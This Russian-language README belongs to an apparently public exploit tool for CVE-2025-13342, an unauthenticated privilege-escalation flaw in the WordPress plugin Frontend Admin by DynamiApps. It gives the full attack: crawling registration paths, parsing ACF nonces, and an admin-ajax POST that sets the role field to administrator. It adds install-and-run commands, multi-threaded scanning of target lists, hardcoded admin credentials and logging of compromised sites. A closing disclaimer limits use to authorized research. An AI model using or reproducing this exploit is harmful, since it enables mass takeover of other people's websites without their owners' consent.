
Frontend Admin от DynamiApps <= 3.28.20 - Неаутентифицированное произвольное обновление опций
Frontend Admin от DynamiApps <= 3.28.20 — Неаутентифицированное произвольное обновление опций
__ __ _ _ _ ___ ,________ _
/ ()(| |_// () / )/ \/ )|__ /| __/ __/| |/ )
| | | >- ----/| |/ \----| \ \|__|_/
\___/ \/ \___/ /__\_//__\__/ |\__/\__/ |/__
| Поле | Детали |
|---|---|
| CVE ID | CVE-2025-13342 |
| Оценка | 9.8 КРИТИЧЕСКАЯ — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Затронуто | Frontend Admin от DynamiApps ≤ 3.28.20 |
| Аутентификация | Нет — полностью неаутентифицировано |
| Тип | Недостаточная проверка прав + проверка ввода → Произвольная запись опций |
| CWE | CWE-284 · Некорректный контроль доступа |
Что происходит:
ActionOptions::run() обработчик сохранения не проверяет права пользователя и не проверяет ввод перед записью в wp_options. Публичная форма ACF frontend становится открытым каналом для записи. Злоумышленник устанавливает users_can_register=1 и default_role=administrator, затем регистрирует новую учетную запись, которая автоматически получает роль администратора.
Этот инструмент пропускает двухшаговый подход — он напрямую отправляет сформированную полезную нагрузку формы с role=administrator, вставленным в поля создания пользователя через acff[user][field_*], создавая учетную запись администратора за один AJAX-вызов.
1. Crawl common registration paths → locate ACF frontend form
2. Parse hidden fields → _acf_nonce, _acf_form
3. Map user fields → username · email · password · role
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<role_field>] = administrator
5. {"success":true} → admin account created
6. Log to acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
Инструмент интерактивный. Вам будет задано четыре вопроса:
Targets file path → list.txt
Threads → 10
Timeout (seconds) → 10
Verbose debug → y / N
Учетные данные фиксированы внутри:
| Поле | Значение |
|---|---|
| Имя пользователя | Nxadmin1 |
[email protected] | |
| Пароль | NxAdmin_1337#KSA |
Один хост на строку — схема необязательна:
https://target1.com
target2.com
http://target3.com
Инструмент проверяет 28 путей для каждой цели по порядку, останавливаясь на первой валидной форме ACF:
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| Файл | Содержимое |
|---|---|
acf_success.txt | Подтвержденные успешные создания администратора |
Формат:
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
Терминал:
[+] Target base: https://target.com
[+] Found form at: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] SUCCESS: https://target.com
[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com
| Автор | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
Этот инструмент предоставляется только для авторизованных исследований в области безопасности и образовательных целей.
Автор не несет никакой ответственности за любое использование против систем без явного письменного разрешения владельца.
Несанкционированный доступ незаконен в соответствии с CFAA, CMA и аналогичными законами по всему миру.
Вы несете полную ответственность за свои действия.